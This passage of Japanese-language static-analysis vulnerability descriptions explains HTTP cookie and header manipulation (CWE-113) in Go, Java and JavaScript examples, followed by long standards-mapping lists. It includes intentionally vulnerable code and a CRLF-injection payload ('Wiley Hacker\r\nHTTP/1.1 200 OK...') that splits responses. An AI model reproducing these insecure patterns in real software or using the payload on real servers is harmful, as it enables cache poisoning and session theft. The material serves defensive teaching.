最近のアプリケーション サーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。たとえば、Apache Tomcat の最近のバージョンでは、禁止されている文字を含むヘッダーを設定しようとすると、IllegalArgumentException が発生します。使用しているアプリケーション サーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例: 次のコード セグメントでは、ブログのエントリの作成者名 author を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。


...
author := request.FormValue("AUTHOR_PARAM")
cookie := http.Cookie{
Name: "author",
Value: author,
Domain: "www.example.com",
}
http.SetCookie(w, &cookie)
...


「Jane Smith」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、この cookie を含むHTTP レスポンスは次のような形式になります。


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


ただし、cookie の値は未検証のユーザー入力から形成されているので、レスポンスがこの形式を維持するのは、AUTHOR_PARAM として送信された値に CR 文字や LF 文字が含まれていない場合のみです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは次の形式で 2 つのレスポンスに分割されます。


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー コンテンツや本文コンテンツで構成されてしまいます。攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザキャッシュポイズニング、Cross-Site Scripting およびページ乗っ取り攻撃などの様々な攻撃を許すことになります。

クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対するレスポンスと誤って解釈されることがあります。この攻撃では、攻撃者とユーザーがサーバー (共通のプロキシ サーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意している可能性があります。

キャッシュポイズニング: 悪意により構成されたレスポンスが、多数のユーザーが使用する Web キャッシュ、あるいはユーザーが 1 人であってもそのブラウザー キャッシュに保存されると、被害が拡大することがあります。レスポンスがプロキシ サーバーによくあるような共有 Web キャッシュに保存されると、キャッシュ エントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが悪意あるコンテンツを受け取り続けます。同様に、個別のユーザーのブラウザー キャッシュにレスポンスが保存される場合も、そのユーザーはキャッシュ エントリが消去されるまで悪意あるコンテンツを受け取り続け、ローカルのブラウザー インスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、攻撃者はこのルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう、共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、1 番目のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをしても、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。その後に攻撃者は 2 番目のリクエストを送信します。プロキシ サーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーや本文に含まれる機密情報が漏洩します。

Open Redirect: リダイレクトに使用される URL が未検証の入力によって制御されると、フィッシング攻撃を容易にしてしまう可能性があります。
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - CIS Kubernetes Benchmark partial
[7] Standards Mapping - Common Weakness Enumeration CWE ID 113
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.golang.header_manipulation_cookies
Abstract
未検証のデータをクッキーに含めると、HTTP Response Header Manipulation 攻撃につながり、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookieの不正操作、またはオープンリダイレクトが発生する可能性があります。
Explanation
Cookie Manipulation の脆弱性が発生するのは次の場合です。

1. 信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2. Web ユーザーに送信される HTTP クッキーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Cookie Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP クッキーに含めます。

Cookie の不正操作: クロスサイト リクエスト フォージェリのような攻撃が同時に行われると、正規ユーザーの cookie が変更、追加、または上書きされる可能性があります。

HTTP レスポンスヘッダーでの、Cookie Manipulation 攻撃は、以下のような種類の攻撃にもつながります。

HTTP Response Splitting:
Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへの CR (キャリッジリターン、%0d または \r とも表記します) 文字や LF (ラインフィード、%0a または \n とも表記します) 文字を含む入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分とボディを制御できるだけでなく、追加のレスポンスを思うままに作成することが可能です。

最近のアプリケーションサーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。たとえば、Apache Tomcat の最近のバージョンでは、禁止されている文字を含むヘッダーを設定しようとすると、IllegalArgumentException が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例 1: 次のコードセグメントは、ブログのエントリの作成者名 author を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。


String author = request.getParameter(AUTHOR_PARAM);
...
Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);


「Jane Smith」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、この cookie を含むHTTP レスポンスは次のような形式になります。


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


ただし、cookie の値は未検証のユーザー入力から形成されているので、レスポンスがこの形態を維持するのは、AUTHOR_PARAM として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー内容やボディ内容で構成することができます。攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザキャッシュポイズニング、Cross-Site Scripting およびページ乗っ取り攻撃などの様々な攻撃を許すことになります。

一部には、モバイルの世界では Header Manipulation や Cookie Manipulation のような古典的なアプリケーションの脆弱性は意味がなく、自分に降りかかる攻撃をするはずがない、という見方があります。しかし忘れてはならないモバイルプラットフォームの基本は、さまざまなソースからアプリケーションをダウンロードして同じデバイス上で一緒に実行することです。このため、たとえばバンキングアプリケーションのすぐ隣でマルウェアの一部を実行する可能性が高くなり、モバイルアプリケーションの攻撃面を拡張し、プロセス間通信なども含める必要があります。

例 2: 次のコードでは、Android プラットフォームにExample 1 を応用しています。


...
CookieManager webCookieManager = CookieManager.getInstance();
String author = this.getIntent().getExtras().getString(AUTHOR_PARAM);
String setCookie = "author=" + author + "; max-age=" + cookieExpiration;
webCookieManager.setCookie(url, setCookie);

...
クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対する回答と誤って解釈される可能性があります。この攻撃は、攻撃者とユーザーがサーバー (共通のプロキシサーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意しています。

キャッシュポイズニング: 悪意により構成されたレスポンスが、多数のユーザーが使用する Web キャッシュ、または 1 人のユーザーのブラウザキャッシュに保存されると、被害が拡大することがあります。レスポンスが、一般にプロキシサーバーに見られるような共有 Web キャッシュに保存されると、キャッシュエントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが、悪意あるコンテンツを継続して受け取ります。同様に、個別のユーザーのブラウザキャッシュにレスポンスが保存される場合も、キャッシュエントリが消去されるまでそのユーザーは悪意あるコンテンツを継続して受け取り、ローカルのブラウザインスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、最初のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをすると、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。続いて攻撃者は第 2 のリクエストを送信します。プロキシサーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーやボディに含まれる機密情報が漏洩します。

オープンリダイレクト: 入力が検証されないため、リダイレクトで使用される URL が制御され、フィッシング攻撃に悪用される可能性があります。
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.java.header_manipulation_cookies
Abstract
未検証のデータをクッキーに含めると、HTTP Response Header Manipulation 攻撃につながり、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookieの不正操作、またはオープンリダイレクトが発生する可能性があります。
Explanation
Cookie Manipulation の脆弱性が発生するのは次の場合です。

1. 信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2. Web ユーザーに送信される HTTP クッキーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Cookie Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP Cookie に含めます。

Cookie の不正操作: クロスサイト リクエスト フォージェリのような攻撃が同時に行われると、正規ユーザーの cookie が変更、追加、または上書きされる可能性があります。

HTTP レスポンスヘッダーでの、Cookie Manipulation 攻撃は、以下のような種類の攻撃にもつながります。

HTTP Response Splitting:
Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへの CR (キャリッジリターン、%0d または \r とも表記します) 文字や LF (ラインフィード、%0a または \n とも表記します) 文字を含む入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分とボディを制御できるだけでなく、追加のレスポンスを思うままに作成することが可能です。

最近のアプリケーションサーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。たとえば、Apache Tomcat の最近のバージョンでは、禁止されている文字を含むヘッダーを設定しようとすると、IllegalArgumentException が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例: 次のコードセグメントは、ブログのエントリの作成者名 author を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。


author = form.author.value;
...
document.cookie = "author=" + author + ";expires="+cookieExpiration;
...


「Jane Smith」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、この cookie を含むHTTP レスポンスは次のような形式になります。


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


ただし、cookie の値は未検証のユーザー入力から形成されているので、レスポンスがこの形態を維持するのは、AUTHOR_PARAM として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー内容やボディ内容で構成することができます。攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザキャッシュポイズニング、Cross-Site Scripting およびページ乗っ取り攻撃などの様々な攻撃を許すことになります。

Cross-User Defacement: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対するレスポンスと誤って解釈されることがあります。この攻撃では、攻撃者とユーザーがサーバー (共通のプロキシ サーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意している可能性があります。

キャッシュポイズニング: 悪意により構成されたレスポンスが、多数のユーザーが使用する Web キャッシュ、または 1 人のユーザーのブラウザキャッシュに保存されると、被害が拡大することがあります。レスポンスが、一般にプロキシサーバーに見られるような共有 Web キャッシュに保存されると、キャッシュエントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが、悪意あるコンテンツを継続して受け取ります。同様に、個別のユーザーのブラウザキャッシュにレスポンスが保存される場合も、キャッシュエントリが消去されるまでそのユーザーは悪意あるコンテンツを継続して受け取り、ローカルのブラウザインスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、最初のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをすると、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。続いて攻撃者は第 2 のリクエストを送信します。プロキシサーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーやボディに含まれる機密情報が漏洩します。

オープンリダイレクト: 入力が検証されないため、リダイレクトで使用される URL が制御され、フィッシング攻撃に悪用される可能性があります。
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
